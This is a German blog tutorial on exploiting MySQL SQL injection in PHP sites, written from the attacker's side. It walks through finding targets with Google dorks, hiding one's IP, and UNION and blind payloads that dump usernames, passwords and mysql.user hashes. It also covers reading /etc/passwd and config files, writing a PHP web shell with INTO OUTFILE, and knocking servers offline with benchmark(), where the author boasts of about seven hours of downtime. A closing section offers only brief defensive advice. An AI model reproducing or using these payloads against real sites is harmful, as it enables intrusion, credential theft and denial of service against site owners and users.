Gehaxelts Blog

IT-Security & Hacking

[TuT] SQL-Injection Tutorial

Ich habe mal ein Tutorial geschrieben, wie Angreifer eine SQL Injection durchführen können. Das Tutorial soll nicht zu Straftaten anstiften und ich hafte für keine Folgehandlungen.

Aufbau:

=>1. Einleitung

==>1.1. Einleitung

==>1.2. Vorraussetzungen

==>1.3. Definition

=>2. (My)SQL Injection ausnutzen

==>2.1. An Ziele gelangen / Lücke finden

===>2.1.1. Google Dorks

===>2.1.2. Hochkomma

===>2.1.3. And

===>2.1.3. Kommentare

==>2.2. Spaltenzahl herausfinden

===>2.2.1. order by

===>2.2.2. union select

==>2.3. Version herausfinden / Boolean-Based-Injection

===>2.3.1. Version <= 4.x

===>2.3.2. Version <= 5.x

===>2.3.3. Boolean-Based-Injection

====>2.3.2.1. Datenbank information_schema

==>2.4. Weitere wichtige Daten

===>2.4.1. database()

===>2.4.2. user()

==>2.5. Datenbank mysql

==>2.6. Dateifunktionen

===>2.6.1. load_file()

===>2.6.2. into Outfile ”

==>2.7. Weitere Funktionen

===>2.7.1. benchmark()

===>2.7.2. group_concat()

===>2.7.3. concat_ws()

===>2.7.4. count()

==>2.8. Weiteres nützliches Wissen

===>2.8.1. Hexen

==>2.9. Tools

===>2.9.1. Havij

===>2.9.2. SQLMap

===>2.9.3. Hashcat

=>3. (My)SQL Injection verhindern

==>3.1. mysql_real_escape_string()

==>3.2. IntVal()

==>3.3. mysql_error()

=>4. Fazit und Grüße

=>1. Einleitung:

==>1.1. Einleitung

Es gibt zwar schon viele SQL Injection Tuts, jedoch hatte ich gerade Lust und die Zeit ein eigenes zu verfassen.

Ich werde nicht nur beschreiben, wie man eine solche Injection ausnutzt, sondern auch wie man diese loswerden kann.

Ich möchte noch darauf hinweisen, das der Versuch einer SQL Injection laut deutschem Gesetz strafbar ist, deswegen wurde

dieses Tutorial nur zu Lernzwecken geschrieben.

Ich werde nur auf die Injection auf (My)SQL-Datenbanken

eingehen. Für andere Datenbanktypen, wie PostgreSQL/ MSSQL/ muss man sich andere Lektüren besorgen.

==>1.2. Vorraussetzungen

Für eine SQL Injection braucht man eigentlich nicht viel. Nur einen Browser, anonymes Internet, ggf. einen Notizettel und Brain.exe.

Ausserdem sollte man folgende Plugins in seinem Browser deaktivieren: Javascript und Java, den darüber lässt sich

die RL-IP herausfinden, was natürlich nicht gewünscht ist.

==>1.3. Definition

Eine SQL Injection ist nichts anderes, als die Manipulation des Structure Query Language Befehls auf der Opferseite.

Ein kleines Beispiel dazu: Nehmen wir an, eine Seite nutzt folgendes SQL-Query:

$id=$_GET['id'];  
mysql_Query("SELECT id,preis,beschreibung,anzahl FROM produkte WHERE id= $id"); //oder
mysql_Query("SELECT id,preis,beschreibung,anzahl FROM produkte WHERE id= '$id'");

Und auf der Seite wird der Preis, die Beschreibung, die Produktid und die vorhandene Anzahl auf Lager ausgeben.

Der Hacker versucht nun, das Query zu seinen Gunsten zu verändern. Er ändert die als GET-Parameter übergebene “id”

so ab, das folgendes Query entsteht (Genaüres dazu später):

SELECT id,preis,beschreibung,anzahl FROM produkte WHERE id=1+and+1=2+union+select+1,concat_ws(0x3a,username,,passwort),3,4+from+users+limit+1,1+--+; //oder
SELECT id,preis,beschreibung,anzahl FROM produkte WHERE id='1'+and+'1'='2'+union+select+1,concat_ws(0x3a,username,,passwort),3,4+from+users+limit+1,1+--+;

Damit würde ihm, dort wo vorher der Preis stand, jetzt der Benutzername und das Passwort aus der Tabelle users ausgegeben.

Wie man sich dagegen schützt erfährt ihr in Kapitel 3.

=>2. SQL Injection ausnutzen

==>2.1. An Ziele gelangen / Lücke finden

Am einfachsten ist der Angriff auf eine Seite durch einen GET-Paramter. Diesen kann man ohne weiteres im Browser verändern.

Man kann jedoch auch einen Angriff über POST-Parameter durchführen, jedoch brauchst man dazu einige Addons im Browser, wie

Firebug oder Live-HTTP-Headers. Wenn man das Angriffsszenario über die GET-Parameter verstanden hat, ist es kein grosses

Problem, das auch auf POST-Parameter anzuwenden.

===>2.1.1. Google Dorks

Man findet viele Ziele leicht über Google Dorks, dazu habe ich auch schon ein Tut geschrieben.

Google Dorks sind präzise Suchanfragen an die Suchmaschine von Google, welche uns Lauter Angriffsziele ausgibt.

Ein Dork kann folgendermassen aussehen:

inurl:"product.php?id="

Wenn man jetzt einige vers. Seiten gelistet bekommt, kann man anfangen diese auf eine Verwundbarkeit zu prüfen.

Nehmen wir man an die URL sieht folgendermassen aus:

http://www.meineseite.de/product.php?id=10

===>2.1.2. Hochkomma

Man kann jetzt an die id ein Hochkomma (‘) anhängen, aufrufen und hoffen, das irgendwo auf der Seite ein Fehler in

folgender Form auftaucht (kann auch nicht sichtbar im Qülltext sein!):

MySQL Error: You have an error in your SQL-Syntax near by ''. Check your Manual...

Das Query sieht nämlich folgendermassen aus und das entspricht nicht der richtigen Syntax:

SELECT id,preis,beschreibung,anzahl FROM produkte WHERE id=1';

Oder es kann passieren, das einige Daten nicht mehr angezeigt werden bzw. die Seite anders aussieht.

Dann kann man eine SQL Injection durchführen.

===>2.1.3. And

Die zweite Möglichkeit ist, an die “id” ein “+and+1=1+” anzuhängen, so bleibt die Aussage wahr, denn Eins ist gleich Eins.

Dann sollte die Seite genauso aussehen, wie davor. Zum Beispiel würde folgendes dort stehen:

Ausgabe:

Preis: 50 Euro

Query (richtige Syntax):

SELECT id,preis,beschreibung,anzahl FROM produkte WHERE id=1+and+1=1+

ändert man jetzt das Anhängsel in “+and+1=2”, so wird die Aussage unwahr, denn Eins ist ungleich Zwei.

Ausgabe:

Preis:  Euro

Query:

SELECT id,preis,beschreibung,anzahl FROM produkte WHERE id=1+and+1=2+

Dieses Query ist von der Syntax her immer noch korrekt, jedoch wird in der WHERE-Klausel durch das “+and+1=2+” unwahr,

und deshalb gibt der Befehl ein leeres Resultat zurück.

Man weiss nun ebenfalls, das man eigene Befehle in das Query einbaün kann.

===>2.1.4. Kommentare

Da man meistens nicht genau weiss, ob hinter der “id” weitere Befehlsschnipsel folgen, hängt man ein Kommentar an.

Damit wird der restliche Befehlsteil nicht mehr ausgefürht. Es gibt folgende Kommentarzeichen:

  • – (2x Bindestrich bzw. Minus)

  • /*

  • #

Ich persönlich nutze das doppelte Minus. Man hängt dieses an seine voranstehenden Befehle an: (+and+1=1+–+)

Query:

SELECT id,preis,beschreibung,anzahl FROM produkte WHERE id=1+and+1=1+--+DIESER TEIL WIRD IGNORIERT limit 1,1

==>2.2. Spaltenanzahl herausfinden

Um eine effektive Injection durchführen zu können, muss man wissen wie viele Spalten der angegriffene SQL Befehl hat.

Oft werden einfach alle Spalten einer Tabelle asugewählt,…:

SELECT * FROM produkte WHERE id= $id

…,obwohl man nur 5 bräuchte…:

SELECT id,preis,beschreibung,anzahl FROM produkte WHERE id=$id

…und das geht zu Lasten der Performance und ist für uns vom Nachteil, da wir nicht nur auf die Anzahl der eigentlich

gebrauchten (4) Spalten kommen müssen, sondern auf die gesamte Anzahl (z.B. übertrieben 150). Das bedeutet mehr Arbeit

für den Server und für uns.

Es gibt zwei Möglichkeiten an die Anzahl der Spalten (Columns) zu gelangen:

===>2.2.1. order by

Mit “order by” erreicht man eigentlich eine Sortierung des Resultats nach einer bestimmten Spalte.

Man kann hierzu den Namen der Spalte nuzten (“order by price”), welche wir aber nicht kennen, oder den Index in der

Abfrage (“order by 2”).

Man heangt jetzt an die “id” einfach “+order+by+1+–+” an und iteriert die Zahl nach dem by so lange, bis

wieder ein Fehler auftaucht.

Query:

SELECT id,preis,beschreibung,anzahl FROM produkte WHERE id=1+order+by+1+--+;

O.K. Wir sortieren nach “id” und es wird kein Fehler ausgegeben. Also weiter:

Query:

SELECT id,preis,beschreibung,anzahl FROM produkte WHERE id=1+order+by+5+--+;

Fehler! Da wir nur 4 Spalten haben, und demnach nicht nach einer 5. sortieren können.

So haben wir herausgefunden, dass das Query eine Anzahl von 4 Spalten hat.

Diese Anzahl nutzen wir dann, um mithilfe des union-Kontrukts komfortable an Daten zu gelangen.

===>2.2.2. Union

Die zweite Möglichkeit an die Anzahl der Spalten zu kommen ist, dieses direkt über Union.

Mit dem Union-Befehl verbindet man zwei SELECT-Befehle. Wir machen uns das zunutze, indem wir das eigentliche Query durch

“+and+1=2” unwahr machen und danach mit “union+select+1+–+” unser eigenes Query anfügen.

Dazu benötigen wir aber die richtige Anzahl an Spalten, denn sonst kommt es zu einem Fehler.

Query:

SELECT id,preis,beschreibung,anzahl FROM produkte WHERE id=1+and+1=2+union+select+1+--+;

Fehler: The selected statements have different count of columns (oder so ähnlich ;-) )

Grund: Wir haben in unserem SELECT nur 1 Spalte, es gibt jedoch mehr als eine (4). Also weiter:

Query:

SELECT id,preis,beschreibung,anzahl FROM produkte WHERE id=1+and+1=2+union+select+1,2,3,4+--+;

O.K.: Wir haben die korrekte Anzahl der Spalten herausgefunden, denn es erscheint kein Fehler mehr und dort wo vorher

die eigentlichen Daten der Resultate standen stehen jetzt unsere Zahlen.

Ausgabe:

Preis: 2 Euro

Wobei die 2 jetzt nicht ein neür Preis ist, sondern die Nummer der Spalte in unserem Union-Query.

Angemerkt: Man muss nicht unbedingt nur mit Zahlen hochzählen, da es ab 10 Spalten eine grosse Tipparbeit wird (deswegen besser order by nutzen!),

aber man weiss dann sofort die Position eines Ausgabefeldes. Man könnte genauso gut auch 0x3a (: Doppelpunkt in hex) statt der 2 nehmen,

dann wäre die Ausgabe folgendermassen:

Preis: : Euro

Wir wissen jetzt, dass man an der zweiten Position im Union-Query eine eigene Ausgabe erzeugen kann.

==>2.3. Version herausfinden

Es ist wichtig zu wissen, welche Version der (My)SQL-Server hat, den davon hängt das weitere Vorgehen ab.

Die Version findet man heraus, in dem man “version()” nutzt. Man hängt an die “id” folgenden Befehl an: “+and+1=2+union+select+1,version(),2,3,4+–+”

Die Ausgabe beim Preis wird nun entweder “4.x.x” oder “5.x.x” lauten.

Alternativ kann man die Version folgendermassen herausfinden, wenn man keinen Union-Befehl nutzen kann.

Man hängt dann das an: “+and+substring(version(),1,1)=5+–+”.

“Substring()” gibt in unseren Beispiel das erste Zeichen der Version zurück.

Falls die Seite “normal” angezeigt wird, dann ist die Version >=5.x . Als Gegenprobe kann man statt “=5” auch “=4” einsetzen und dann müsste

die Seite wieder “normal” angezeigt werden, wenn die Version mit 4 anfängt.

Query:

SELECT id,preis,beschreibung,anzahl FROM produkte WHERE id=1+and+substring(version(),1,1)=5+--+;

O.K. , wenn die Version >=5 ist. Andererseits wird die Seite “falsch” dargestellt.

===>2.3.1. Version <=4.x

Wenn der Server die alte Version 4.x oder kleiner serviert, dann braucht man viel Geduld und einen guten Grund die Seite

weiter anzugreifen, denn man muss alle Datenbank-, Tabellen- und Spaltennamen selber erraten. Bei höreren Versionen hat man

dieses Problem nicht.

====>2.3.2 Version >=5.x

Eine Version >=5.x ist für den Angreifer von Vorteil, da er auf die Datenbank “information_schema” zugreifen kann, in welcher

alle Datenbank-, Tabellen-, Spaltennamen und andere Informationen enthalten sind. Das bedeutet, das man diese nicht mehr erraten muss.

====>2.3.2.1. Datenbank information_schema

Zunächst sollte man sich alle Datenbanken ausgeben lassen. Dazu muss man die Spalte “schema_name” der Tabelle

“schema” auslesen.

Query:

SELECT id,preis,beschreibung,anzahl FROM produkte WHERE id=1+and+1=2+union+select+1,schema_name,3,4+from+information_schema.schema+limit+1,1+--+;

Ausgabe:

Preis: [Datenbank] Euro

Um an die Tabellennamen zu kommen muss man einfach die Spalte “table_name” aus der Tabelle “tables” auslesen.

Wichtig ist hier, dass man in der WHERE-Klausel den Datenbanknamen “hext” (2.8.1), denn in den meisten Fällen kann man keine Hochkomma (‘) anhängen,

ohne das es zu Fehlern kommt.

Das Query sieht dann folgendermassen aus:

SELECT id,preis,beschreibung,anzahl FROM produkte WHERE id=1+and+1=2+union+select+1,table_name,3,4+from+information_schema.tables+where+table_schema=[Datenbankname in Hex]+limit+1,1+--+;

Ausgabe:

Preis: [Tabellenname] Euro

Das “limit 1,1” gibt einen Eintrag der Position 1 zurück. Das ist wichtig, weil sonst ein Fehler auftreten würde, welcher

besagt, dass das SubQuery mehr als einen Eintrag zurückgibt. Ungefähr bis zum 28-30 Eintrag werden nur uninteressante Tabellennamen

ausgegeben. Um sich weiter durchzuhangeln, muss man den ersten Parameter des “limit”s erhöhen.

Wenn man jetzt eine interessante Tabelle herausgefunden hat, von welcher man die Spaltennamen gerne haben möchte, dann

öffnet man sich am Besten einen neün Tab, kopiert sich die URL aus dem ersten und muss nur noch einige änderungen

vornehmen.

URL: http://meineseite.de/produkt.php?id=1+and+1=2+union+select+1,column_name,3,4+from+information_schema.columns+where+table_name=[Tabellenname in Hex]+limit+1,1+--+

Auch hier muss man sich wieder über das “limit” durch die Spaltennamen der Tabelle hangeln.

Hat man auch hier seine gewünschten Spalten gefunden, muss man die Daten nur noch auslesen, was man wieder am Besten

in einem neün Tab macht. Dazu eignet sich die Funktion “concat_ws()”

URL: http://meineseite.de/produkt.php?id=1+and+1=2+union+select+1,concat_ws(0x3a,[Spalte1],[Spalte2]),3,4+from+[Tabellenname]+limit+1,1+--+

Man bekommt folgende Ausgabe:

Preis: [Eintrag_Spalte1]:[Eintrag_Spalte2] Euro

Es bietet sich an, bevor man sich ans “Dumpen” der Einträge macht, sich erstmal eine übersicht über die Anzahl

zu verschaffen. Dies kann man über die Funktion “count()”, welche in 2.7.4. genaür beschrieben wird.

===>2.3.3. Boolean-Based-Injection

Falls man an keine Union-Ausgabe gelangt kann man entweder die Lücke vergessen oder man fängt an, diese mithilfe der Boolean-Based-Injection anzugreifen.

Dabei wird erheblich mehr Traffic erzeugt, denne es ist eine Art Brute-force. Man versucht jeden Buchstaben eines Datenbank-/Tabellen-/Spalten-/Eintragsnamen zu erraten, indem man prüft, ob eine Anfrage wahr (TRü) oder

unwahr (FALSE) war. Dazu nutzt man die Funktionen “ASCII()” und “Substring()”. “Substring()” nutzen wir dabei, um immer 1 Zeichen des kompletten Strings ausgeben zu lassen. Mit der Funktion “ascii()” wandeln wir dieses

Zeichen in dessen Indexnummer im ASCII-Zeichensatz um, sodass wir dann folgendermaßen prüfen können, an welcher Steller welcher Buchstabe vorkommt. Wir müssen den zweiten Parameter von “substring()” erhöhen, um einen Buchstaben

weiterzurücken. Der dritte Parameter gibt die Anzahl der auszuschneidenden Zeichen an. Bei uns logischer Weise ein Zeichen.

Querys:

SELECT id,preis,beschreibung,anzahl FROM produkte WHERE id=1+and+ascii(substring((select+table_name+information_schema.tables+limit+1,1)1,1))=65+--+; 1. Buchstabe = A ?=> Richtig.  
SELECT id,preis,beschreibung,anzahl FROM produkte WHERE id=1+and+ascii(substring((select+table_name+information_schema.tables+limit+1,1)2,1))=65+--+; 2. Buchstabe = A ?=> Falsch.  
SELECT id,preis,beschreibung,anzahl FROM produkte WHERE id=1+and+ascii(substring((select+table_name+information_schema.tables+limit+1,1)2,1))=66+--+; 2. Buchstabe = B? => Falsch.  
SELECT id,preis,beschreibung,anzahl FROM produkte WHERE id=1+and+ascii(substring((select+table_name+information_schema.tables+limit+1,1)2,1))=67+--+; 2. Buchstabe = C? => Richtig.

Wie man merkt, daürt es eine ganze Weile bis man den erstern Tabellennamen so herausgefunden hat. MAn kann mit maximal 65 Versuchen pro Buchstaben rechnen. Bei einer durchschnittlichen Länge eines Strings von 7 Stellen,

sind das schon 455 Reqüsts pro String. Das kann man sich leisten, wenn man einen Adminlogin als Ziel hat, jedoch kann man es vergessen so eine komplette Datenbank zu dumpen.

==>2.4. Weitere wichtige Daten

Genauso wie die Funktion “version()”, gibt es auch noch weitere wichtige Daten, die einem helfen die Situation besser

einzuschätzen.

===>2.4.1. database()

Mit der Funktion “database()” kann man sich die aktülle Datenbank ausgeben lassen.

Mit dieser Information kann man weitere Datenbanken vermuten. Zum Beispiel könnte die aktülle Datenbank “onlineshop_1” heissen.

Man kann vermuten, das es noch mehr Datenbanken mit den Inhalten eines Onlineshops geben könnte.

===>2.4.2. user()

Interessanter ist die Ausgabe des aktüllen Benutzers, welcher das Query ausführt. Mit etwas Glück heisst der User

“root”, von welchen man auf einen schlecht konfigurierten Server schliessen kann. Mit hoher Wahrscheinlichkeit kann

man dann auf die Funktionen “load_file()” und “into outfile ”” zugreifen. Mehr dazu später.

==>2.5. Datenbank mysql

In der Datenbank “mysql” werden, wie in “information_schema” einige spezifische Inhalte abgelegt. Uns interessiert aus

dieser Datenbank einfach nur die Tabelle “User”, denn dort sind alle Mysql-benutzter abgelegt.

Wichtige Spalten dieser Tabelle sind “Username”,”Password”,”file_priv”. Letzteres gibt einem “Y” oder “N” aus und man erfährt,

welcher Datenbankbenutzer Dateirechte besitzt. Dies ist wiederrum die Vorraussetzung für “load_file()” und “into outfile ””.

Die ersten beiden Angaben dürften klar sein, jedoch ist das Password mit der Funktion “password()” gehashed. Man kann

es versuchen zu Bruteforcen, u.a. mit dem Tool “hashcat” (2.9.3). Jedoch ist die Erfolgschance nicht sehr hoch.

Query:

SELECT id,preis,beschreibung,anzahl FROM produkte WHERE id=1+and+1=2+union+select+1,concat_ws(0x3a,Username,Password,0x3a,file_priv),3,4+from+mysql.user+limit+1,1+--+;

Ausgabe:

Preis: [Username]:[PW-hash]:[Y/N]

==>2.6. Dateifunktionen

Diese Funktionen sind sehr interessant für den Angreifer, denn damit kann er sich den Inhalt beliebiger Dateien, dessen

Pfade er kennt, ausgeben lassen.

Jedoch geht das nicht einfach so, sondern es müssen einige Vorraussetzungen erfüllt sein:

-Der Datenbankbenutzter braucht Dateirechte (file_priv = Y)

-Dem Angreifer muss der ABSOLUTE Pfad der Datei bekannt sein.

Den absoluten Pfad bekommt man mit einwenig Glück aus einer Fehlermeldung, welche man erzeugt.

Andererseits muss man sich Gedanken über das installierte Betriebssystem machen.

Ist es ein Linux- oder Windowssystem?

Unter einem Linuxsystem sind die Pfade meistens relativ identisch.

Meistens ist das “Document Root” unter “/var/www/”, der Apache-Server läuft unter “/etc/apache”, dort kann man ggf. die Konfigurationsdateien auslesen und daraus weitere interessante Informationen holen, Fehler-/Logdateien liegen

unter “/var/log/apache/” und heissen oft “error.log”. Genaüre Pfade zu Ordnern, bzw. Dateien kann man ergooglen.

In den meistens Fällen kann man jedoch die “/etc/passwd” auslesen, in denen alle Systembenutzer gelistet sind.

Unter einem Windowssystem sind die Pfade dagegen unterschiedlicher. Manchmal läuft dort ein XAMPP-Server, welcher sich

Standardmässig unter “C:\xampp" installiert.

Google hilft da auch weiter, denn das weiss ich gerade nicht aus dem Kopf ;-)

Zum Booten des Systems sollte sich die “boot.ini” under “C:" liegen und sich daher aus Problemlos auslesen lassen.

Ob man den Informationen etwas entnehmen kann, ist eine andere Frage…

===>2.6.1. load_file()

Erfüllt man die o.g. Vorraussetzungen, dann kann man loslegen.

Da “load_file()” einen String als Parameter erwartet, sollten wir diesen nicht “normal” in Anführungszeichen oder Hochkomma

angeben, sondern wieder einmal “hexen” (2.8.1).

Query:

SELECT id,preis,beschreibung,anzahl FROM produkte WHERE id=1+and+1=2+union+select+1,load_file([Dateipfad in Hex]),3,4+--+;

Ausgabe:

Preis: [Dateiinhalt] Euro

===>2.6.2. Into Outfile ”

“Into Outfile ” ” ist eigentlich dazu gedacht, schnell mehere Eintrage einer Tabelle in eine Datei ausgeben zu lassen.

Wir können uns das auch zu nutze machen, dann ersparrt man sich viele Seitenaufrufe beim Dumpen oder man kann sich eine

PHP-Shell spawnen.

Problem der ganzen Sache sind die Hochkomma, denn diese kann man diesmal nicht durch “hexen” umgehen. D.h. die PHP-Option

“magic_quote” muss “0” sein, ansonsten ist es nicht Möglich “Into Outfile ”” über die direkte SQLi zu nutzen.

Eine andere Möglichkeit ist es dann zu versuchen über “load_file()” an eine “config.php” oder an eine Datei zu kommen, welche die Datenbankverbindungsparameter beinhaltet.

Wenn man dann noch etwas Glück hat, gibt es einen “phpmyadmin” in den man sich dann mit diesen Daten einloggen kann.

Falls magic_quote = 0 ist oder man sich erfolgreich in ein DBMS einloggen konnte nutzt man folgende Syntax um etwas in eine Datei zu schreiben (Wir nehmen an dass Document-Root ist /var/www/php/):

SELECT "<?php phpinfo(); ?>" INTO OUTFILE '/var/www/php/phpinfo.php';

Nach dem Ausführen des Querys können wir über den Browser die erzeugte Datei “phpinfo.php” aufrufen und erhalten einige Informationen zur PHP-Installation.

Hier gibt es dann auch die Möglichkeit einen PHP-Uploader zu spawnen, über welchen man dann eine Shell dropped.

==>2.7. Weitere Funktionen

===>2.7.1 benchmark()

Möchte man den (MySQL-)Server für einige Zeit überlasten kann man die “benchmark()”-Funktion nutzen. Diese erwartet 2 Parameter:

Der erste Parameter gibt die Anzahl der Durchläufe an und der zweite Parameter das Query welches ausgeführt werden soll. Hier sollte man dann MD5() oder SHA() nutzen.

Query:

SELECT id,preis,beschreibung,anzahl FROM produkte WHERE id=1+and+benchmark(9999999999999,MD5(10))+--+;

Man sollte bei der Anzahl einfach mal die “9”-Taste gedrückt halten. Umso größer die Anzahl umso größer die Last für den Server. Mein Rekord liegt bei ~7 Stunden downzeit einer Seite mit diesem Seitenaufruf.

===>2.7.2. group_concat()

Diese Funktion nutzt man dazu, um sich mehrere Einträge einer Spalte auf einmal ausgeben zu lassen. M;an spart sich dadurch das iterieren des “limits”.

Die Ausgabe ist auf eine maximale Zeichenanzahl begrenzt, deswegen muss man etwas tricksen, wenn man diese Funktion zur Ausgabe der Tabellennamen nutzen möchte.

Man prezisiert die Anzahl der Ergebnisse durch eine WHERE-Klausel. Mit folgendem Query wollen wir alle Tabellennamen herausfinden, welche “admin” im Namen tragen.

Dazu hexxen wir den String “admin”. Das resultat ist: 0x61646d696e .

Query:

SELECT id,preis,beschreibung,anzahl FROM produkte WHERE id=1+and+1=2+union+select+1,group_concat(table_name),3,4+from+information_schema.tables+where+table_name=0x61646d696e+--+;

Ausgabe:

Preis: admin_user,admin_logins,admin_email Euro

===>2.7.3. concat_ws()

Mit dieser Funktion kann man sich mehere Spalten einer Zeile ausgeben lassen. Das ist insofern nützlich, dass man z.B. einen Usernamen und das dazugehörige Passwort

nicht einzeln abfragen muss, sondern dies in einem Rutsch

erledigen kann. Der erste Parameter ist das Trennzeichen, welches zwischen den weiteren Spalten stehen soll. Beliebt ist hier der Doppelpubnkt (hex: 0x3a).

Danach listet man beliebig viele Spaltennamen auf, welche ausgegeben werden sollen. Beispiell

concat_ws(0x3a,Email,Username,Password)

===>2.7.4. count()

“count()” nutzt man, um die gesamte Anzahl an Einträgen in einer Tabelle herauszufinden. Es erwartet einen Parameter, welcher dem Spaltennamen entspricht oder “*”, wenn alle gezählt werden sollen. Da es keinen Unterschied

macht, welche Spalte man zählt nutzt man eigentlich nur “*”.

Query:

SELECT id,preis,beschreibung,anzahl FROM produkte WHERE id=1+and+1=2+union+select+1,count(*),3,4+from+information_schema.tables+where+table_name=0x61646d696e+--+;

Ausgabe:

Preis: 3 Euro

==>2.8. Weiteres nützliches Wissen

===>2.8.1. Hexen

Da manche Funktionen bzw. Querys einen String als Parameter erwarten, aber man keine “’” Hochkomma nutzen kann, da magic_quote=1 ist, hexxt man diesen String. D.h. man wandelt den eigentlichen String ohne Hochkomma in

eine HexString um. Wenn man bei Google “String to hex” eingibt, kann man gleich den ersten Treffer nutzen. Zu diesem String muss man noch ein “0x” voranstellen, damit MySQL erkennt, dass es sich um ein MySQL String handelt.

MySQL wandelt diesen String dann automatisch um.

Es gibt auch 2 MySQ-Funktionen zum hexxen. “hex()” und “unhex()”. Falls bei einer Ausgabe ein Fehler, wie z.B. “Error Converting…”, auftreten sollte, dann kann man versuchen, durch ein “unhex(hex(table_name))” diesen

Fehler zu umgehen, da MySQL in solch einem Fall die Umwandlung in den richtigen Zeichensatz automatisch vornimmt.

==>2.9. Tools

Ich möchte euch hier noch einige Tools vorstellen, welche man zum Injecten nutzen kann. Jedoch sei gesagt, das es KEINE Kunst ist, solch ein Programm zu starten und einfach “los” zu drücken.

Man lernt viel mehr und es macht auch mehr Spaß, wenn man die Injection per Hand macht. Der einzigste nützliche Grund für solche Tools ist, wenn man einige tausend Einträge dumpen möchte.

Ich bitte euch auch darum, dass ihr euch den oberen Teil erstmal durchgelesen und verstanden habt, bevor ihr solche Tools nutzt.

Die Tools sind beiweitem nicht so intelligent wie eure Brain.exe . Viele Lücken finden diese nicht (richtig). Zum Beipiel fängt das Programm an, eine Datenbank per Boolean-Based-Injection anzufgreifen, obwohl es auch

über ein Union-Angriff möglich wäre. Außerdem dumpen diese Tools jeden Eintrag einer Zeile, obwohl man das über “concat_ws()” beschleunigen könnte. Das führt nicht nur zu mehr HTTP-Reqüsts, welche in den Logs auffallen

könnten, sondern ist erhöht die Daür des Dumpprozesses erheblich.

===>2.9.1. Havij

Von Havij gibt es eine Free und eine Pro Variante. In einschlägigen Foren gibt es diese auch gecracked. Die Freevariante sucht Lücken nur bis zu einer Column-Anzahl von 32. Mit der Provariante kann man diese Grenze aufheben

und selber eine Obergrenze festlegen. Man kann sich die Freeversion von der Herstellerseite kostenlos downloaden. Dieses Tool gibt es nur für Windows.

Nachdem Havij die Seite und den letzten Parameter auf eine Vuln untersucht hat, kann man sich die Datenbanken/Tabellen/Spalten anzeigen lassen und diese dumpen. Dabei wäre gesagt, das Havij einen Core vollständig auslastet

und mit der Zeit immer langsamer wird. Der Dump wird als HTML-Seite abgespeichert.

Insgesamt ist dieses Tool leicht zu bedienen.

===>2.9.2. SQLMap

SQLMap ist ein Open-Source-Projekt, welches in Python geschrieben wurde und damit auf allen Betriebssystem läuft, auf denen eine aktülle Version von Python installiert ist.

Man bedient dieses Tool über die Kommandozeile. Man kann dieses Tool theortisch gut für einen Linux-Server nutzen. Es untersucht entweder den ersten oder den über den Parameter “-p” angegeben Parameter der URL

auf eine Injectionsmöglichkeit. Dabei macht es umfangreiche Tests, jedoch kommt es manchmal durcheinander. So fand dieser bei einer einfachen Lücke, welche per Union injectable war, nur eine Boolean-Based-Injection.

Auch daürt die Untersuchung erheblich länger als bei Havij. Falls es dann doch mal eine Lücke erfolgreich gefunden hat, kann man genau festlegen was es machen soll. Gelungen ist die Funktion nach bestimmten Datenbanken/Tabellen/Spalten

zu suchen und diese danach ausgeben zu lassen. Alle Tätigkeiten werden in einem Logfile mitgeloggt, sodass ein Abbruch nicht gleich zum Verlust der Daten führt, sondern SQLMap von dort aus weiter arbeitet.

Die Dumps werden als .csv Datei gespeichert, was es sehr einfach macht, diese z.B. in Excel zu durchsuchen.

===>2.9.3. Hashcat

Hashcat hat jetzt nichts mehr mit der eigentlichen SQL-Injection zu tun, sondern es ist ein multifunktionaler Hashcracker. Mit einerm kleinen bis großen Wordlist knackt es relativ viele MD5-Hashes in kurzer zeit.

Optimal um MD5-Passwörter zu knacken. Es unterstützt jedoch nicht nur das MD5-Verfahren sondern noch viele mehr. Das Programm sollte man sich einmal angeschaut haben.

=>3. (My)SQL Injection verhindern

Am Ende möchte ich noch darauf eingehen, wie man sich gegen die o.g. Injections verteidigen kann.

Man möchte ja verhindern, dass die eigene Webanwendung Ziel eines Angriffes wird.

==>3.1. mysql_real_escape_string()

In PHP gibt es die nützliche Funktion “Mysql_real_escape_string()”, welche einen übergebenen String escaped. D.h. alle Hochkommas oder sonstigen kritischen Zeichen wird ein “" vorgestellt, womit diese unschädlich gemacht

werden. Damit kann ein Angreifer die Hochkomma, welche einen String im MySQL-Query einschließen, nicht mehr umgehen. Das klingt fast perfect, jedoch eine Schwäche hat “mysql_real_escape_string()”: Es funktioniert nicht mit

Zahlenwerten. Dazu sollte man Zahlenparameter mit “IntVal()” sichern.

==>3.2. IntVal()

“IntVal()” wandelt einen String bzw. eine Gleitkommazahl in eine Ganzzahl um. Dabei werden bei einem String alle Zeichen, welche keine Zahlen sind entfernt, sodass am Ende nur die reine Zahl übrig bleibt.

Eine Injection ist damit nicht mehr Möglich.

==>3.3. mysql_error()

Viele Seiten nutzen folgendes Konstrukt, um bei einem MySQL-Fehler die Weiterverarbeitung des PHP-Scriptes abzubrechen und eine Fehlermeldung auszugeben:

PHP-Code:

<?php  
mysql_connect(....) // etc...
mysql_Query("SELECT....") or die (mysql_error());  
?>

Das hat zur Folge, dass das Script abbricht, um falsche Weiterverarbeitung zu verhindern, und dem Entwickler eine Fehlermeldung ausgibt, damit diese besser weiß, wo das Problem ist, andererseits erleichtert es einem Angreifer

die Injection bzw. weist ihn darauf hin.

Viele “Möchtegern”-Hacker kann man folgendermaßen abschrecken und dazu noch rechtlich gegen diese vorgehen:

<?php  
mysql_connect(....) // etc...
mysql_Query("SELECT....") or die (echo "Es wurde eine illegale Aktivität festgestellt. Anzeige wird erstattet. Ihre IP-Adresse lautet:"; echo getenv("REMOTE_ADDR");mysql_Query("INSERT INTO ip_log ...."););  
?>

Es wird eine erschreckende Meldung und die IP ausgegeben. Außerdem kann man sich diese noch in eine Tabelle schreiben lassen und dann Anzeige bei der Polizei erstatten.

Ich würde trotzdem die zwei oberen Schritte bevorzugen, da richtige Angreifer sich von solch einer Meldung nicht einschütern lassen, da sie meistens einen Anonymisierungsdienst nutzen.

=>4. Fazit und Grüße

Wie man sieht ist das Thema der SQL-Injection sehr umfangreich und mit diesem Tutorial noch nicht beendet. Es gibt noch viel mehr Möglichkeiten eine Injection durchzuführen.

Jedoch würde das meinen Zeit- und Lustplan sprengen.

Gruß

gehaxelt

Texttutorials

« [TuT] Google Dork Tutorial oVPN.to - Bester VPN Anbieter »